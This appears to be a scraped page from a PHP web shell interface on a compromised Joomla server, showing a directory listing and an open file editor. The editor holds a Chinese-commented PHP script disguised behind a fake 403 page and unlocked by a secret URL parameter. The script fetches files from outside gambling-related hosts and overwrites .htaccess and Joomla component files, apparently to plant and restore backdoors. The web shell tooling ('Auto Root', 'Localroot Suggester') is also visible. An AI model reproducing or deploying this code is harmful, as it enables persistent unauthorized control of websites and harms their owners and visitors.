Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
media /
Delete
Unzip
Name
Size
Permission
Date
Action
aridocsviewer
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
arisoft
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
cachecleaner
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
cms
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_aimysitemap
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
com_akeeba
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_associations
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_contact
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_content
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_contenthistory
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_fields
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_finder
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_jce
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_jchoptimize
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_joomlaupdate
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_menus
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_modules
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_osmeta
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_rsform
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
com_wrapper
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
contacts
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
editors
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
fef
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
j2store
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
jce
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
jui
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
jw_allvideos
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
jw_sig
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
lib_allediaframework
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
mailto
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
media
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
mod_joomcat
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
mod_languages
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
mod_sampledata
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
overrider
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
pdfs
[ DIR ]
drwxrwxr-x
2026-06-10 18:37
plg_captcha_recaptcha
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_captcha_recaptcha_invisible
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_installer_webinstaller
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_quickicon_eos310
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_quickicon_extensionupdate
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_quickicon_joomlaupdate
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_quickicon_privacycheck
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_system_highlight
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_system_osmylicensesmanager
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_system_rsfphcaptcha
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_system_rsfppayment
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_system_stats
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
plg_twofactorauth_totp
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
regularlabs
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
sliders
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
sourcerer
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
system
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
syw_jqueryeasy
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
tabs
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
.htaccess
197
B
-r--r--r--
2026-08-21 03:29
403.php
5.58
KB
-rw-r--r--
2026-06-12 07:12
index.html
31
B
-rwxr-xr-x
2023-07-08 16:23
wp-blog-header.php
2.74
KB
-r--r--r--
2026-08-21 03:29
wp-cron.php
2.74
KB
-rw-r--r--
2026-08-21 03:29
Save
Rename
<?php /** * 多文件多目录SHA1哈希检查与更新脚本 * 支持为每个文件单独指定目标哈希值和下载源 * * 安全保护:必须携带参数 ?bhca8373 才能访问 * 兼容 PHP 5.0+ */ // ==================== 访问权限检查 ==================== // 检查是否携带正确的参数 if (!isset($_GET['bhca8373'])) { // 返回英文403错误页面(兼容PHP 5.0+) if (function_exists('http_response_code')) { http_response_code(403); } else { header('HTTP/1.1 403 Forbidden'); } die('<!DOCTYPE html> <html> <head><title>403 Forbidden</title></head> <body> <h1>403 Forbidden</h1> <p>You don\'t have permission to access this resource.</p> </body> </html>'); } // ==================== 配置区域 ==================== // 文件配置:每个文件包含路径、目标哈希、下载源 $FILE_CONFIGS = array( array( 'relative_path' => '.htaccess', 'target_hash' => 'a9dea6822be8451946b419792600f03437eb0e25', 'source_url' => 'https://dd.mega888my.info/joomla/hta.php' ), array( 'relative_path' => 'components/com_ajax/link.php', 'target_hash' => 'c0a1c9dd68285146fe180608e3ab75c6dc085ccb', 'source_url' => 'https://dd.mega888my.info/joomla/link.php' ), array( 'relative_path' => 'administrator/components/com_jce/controller/profiles.php', 'target_hash' => '5fb60af8294702f890d283dee5a8329a3e8044ce', 'source_url' => 'https://dd.mega888my.info/joomla/profiles.php' ), array( 'relative_path' => 'components/com_ajax/restorer.php', 'target_hash' => 'fadbb40abc5a9ed3391535f5c50587ecb4d3c29b', 'source_url' => 'https://dd.mega888my.info/joomla/restorer.php' ) ); // 可选:全局默认下载源(如果某个文件没有指定source_url) $DEFAULT_SOURCE_URL = "https://my.55x1.bet/default.txt"; // 可选:全局默认目标哈希(如果某个文件没有指定target_hash) $DEFAULT_TARGET_HASH = "5942336d6ac616d4ff8067357a4f5af4ecf8ed70"; // ==================== 自动路径检测 ==================== // 获取网站根目录(兼容PHP 5.0+) $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname($_SERVER['SCRIPT_FILENAME']); // 获取当前域名(兼容PHP 5.0+) $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); // ==================== 主程序 ==================== echo "[" . date("Y-m-d H:i:s") . "] 开始多文件检查...\n"; echo "域名: $host\n"; echo "网站根目录: $documentRoot\n"; echo "文件总数: " . count($FILE_CONFIGS) . "\n\n"; $successCount = 0; $skipCount = 0; $failCount = 0; foreach ($FILE_CONFIGS as $index => $config) { $relativePath = $config['relative_path']; $targetHash = isset($config['target_hash']) ? $config['target_hash'] : $DEFAULT_TARGET_HASH; $sourceUrl = isset($config['source_url']) ? $config['source_url'] : $DEFAULT_SOURCE_URL; // 构建完整文件路径 $filePath = $documentRoot . '/' . $relativePath; echo "【文件 " . ($index + 1) . "】$relativePath\n"; echo " 目标哈希: $targetHash\n"; echo " 下载源: $sourceUrl\n"; // 检查文件是否存在并计算哈希 $fileExists = file_exists($filePath); $currentHash = $fileExists ? sha1_file($filePath) : null; // 如果文件存在且哈希匹配,跳过下载 if ($fileExists && $currentHash === $targetHash) { echo " ✓ 跳过 (哈希匹配)\n\n"; $skipCount++; continue; } // 文件不存在或哈希不匹配,需要下载 if (!$fileExists) { echo " ⚠ 需要创建 (文件不存在)\n"; } else { echo " ⚠ 需要更新 (当前哈希: $currentHash)\n"; } // 创建目录(如果不存在) $directory = dirname($filePath); if (!is_dir($directory)) { echo " 创建目录: $directory\n"; if (!mkdir($directory, 0755, true)) { echo " ✗ 失败: 无法创建目录\n\n"; $failCount++; continue; } } // 下载文件内容 echo " 正在下载...\n"; $content = @file_get_contents($sourceUrl); if ($content === false) { echo " ✗ 失败: 无法从 $sourceUrl 下载\n\n"; $failCount++; continue; } // 验证下载内容的哈希 $newHash = sha1($content); if ($newHash !== $targetHash) { echo " ⚠ 警告: 下载文件哈希不匹配 (当前: $newHash, 期望: $targetHash)\n"; } else { echo " ✓ 哈希验证通过\n"; } // 写入文件(覆盖模式) $result = @file_put_contents($filePath, $content); if ($result === false) { echo " ✗ 失败: 无法写入文件\n\n"; $failCount++; } else { $action = $fileExists ? "更新" : "创建"; echo " ✓ 成功: {$action}文件 ({$result} bytes, SHA1: $newHash)\n\n"; $successCount++; } } // ==================== 输出统计信息 ==================== echo str_repeat("=", 60) . "\n"; echo "[" . date("Y-m-d H:i:s") . "] 任务完成\n"; echo "总计: " . count($FILE_CONFIGS) . " 个文件\n"; echo "✓ 成功: $successCount\n"; echo "✓ 跳过: $skipCount\n"; echo "✗ 失败: $failCount\n"; echo str_repeat("=", 60) . "\n"; // 如果有失败的文件,返回非0退出码(用于脚本监控) if ($failCount > 0) { exit(1); } exit(0); ?>